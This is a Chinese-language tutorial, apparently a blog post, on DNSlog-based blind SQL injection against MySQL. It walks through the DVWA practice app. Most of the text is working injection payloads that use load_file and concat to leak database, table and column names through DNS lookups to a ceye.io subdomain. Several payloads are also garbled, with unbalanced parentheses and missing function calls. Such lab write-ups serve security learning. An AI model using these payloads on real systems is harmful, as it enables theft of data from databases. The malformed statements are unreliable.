DNSlog注⼊利⽤(MYSQL)
一、是什么?
DNSLog ⽤于监测 DNS 和 HTTP 访问记录,可通过HTTP请求,让⽬标主机主动请求 DNSLog API 地址,有相应的解析记录,则可判定为存在相应的漏洞。
二、应用场景
简单理解就是在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起DNS请求,这个时候就可以通过这种方式把想获得的数据外带出来。
三、DNS网址
ceye.io 提供DNSlog、HTTP等的查询服务
sso.telnet404.com 注册网址
四、基本步骤
1.复制个人标识符XXX.ceye.io,替换语句,回车之后有延迟表示成功访问
2.在ceye.io网站查看解析
五、语句
核心:select load_file(concat('\\\\',hex((select database())),'.XXX.ceye.io\\abv')); //hex是为了避免出现-,/等特殊字符
如果发现自己请求的时候没有反应,注意检查mysql文件夹下的my.ini配置文件中的secure-file-priv字段是否为空值,可以在数据库命令行中用语句show global variables like '%secure%'; 查询
六、DVWA实战
实际应用的时候,直接用核心语句肯定是不行的,需要先做好信息收集,根据网站源代码进行具体的分析与构建语句,比如判断、闭合与注释什么的的。
一、判断数据库名
语句:1' and if((select schema_name from information_schema.schemata limit 3,1)),'.6fkwv2.ceye.io\\abv'))),1,0) And '1'='1
//两条语句可以用and操作符连接,但是and 与select不能直接连接,所以需要if函来承接,返回结果不重要,执行语句最重要。
//可在DNS管理平台得出一串hex编码,解码后得到库名dvwa,解码网站 :www.107000.com
![]()
二、判断表数量
语句:1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2 and '1'='1 //此处通过布尔盲注判断为2个数据表(如下图)

三、判断表名
语句1:1' and if((select load_file(concat('\\\\',hex((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1)),'.6fkwv2.ceye.io\\abv'))),1,0) And '1'='1
语句1:1' and if((select load_file(concat('\\\\',hex((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1)),'.6fkwv2.ceye.io\\abv'))),1,0) And '1'='1
//这里可得出对应的hex编码(如下图),然后解码之后的表如上图

四、判断字段数量
语句:1' and (select count(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users')=8 and '1'='1
//通过布尔盲注判断users表中有8个字段
五、判断字段名
语句:1‘ and (select column_name from information_schema.columns where table_schema='dvwa'and table_name='users' limit 0,1)),'.6fkwv2.ceye.io\\abv'))),1,0) And '1'='1
//依次可得出user_id, first_name, last_name, user, password, avator, last_login, failed_login
浙公网安备 33010602011771号